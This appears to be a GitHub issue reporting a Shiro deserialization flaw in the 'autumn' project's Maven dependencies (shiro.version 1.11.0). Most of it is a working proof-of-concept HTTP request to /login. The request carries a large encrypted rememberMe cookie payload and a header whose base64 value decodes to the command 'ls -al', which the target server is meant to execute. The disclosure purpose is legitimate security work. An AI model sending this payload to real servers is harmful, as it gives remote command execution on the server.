autumn
autumn copied to clipboard
There is a fatal threat in this project - the Shiro deserialization vulnerability
There is a vulnerability in the Shiro deserialization here. The affected Shiro component is utilized in the Maven dependencies, making websites built with this source code susceptible to easy attacks and potential acquisition of server permissions.
File absolute path: autumn-modules/pom.xml
<properties>
<quartz.version>2.3.2</quartz.version>
<shiro.version>1.11.0</shiro.version> ##vul
<kaptcha.version>0.0.9</kaptcha.version>
<qiniu.version>[7.2.0, 7.2.99]</qiniu.version>
<aliyun.oss.version>2.5.0</aliyun.oss.version>
<qcloud.cos.version>4.4</qcloud.cos.version>
<swagger.version>2.7.0</swagger.version>
</properties>
ps: Execute the command ls -al
GET /login HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: rememberMe=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
c: bHMgLWFs
Host: xx.xx.xx.xx:xxxx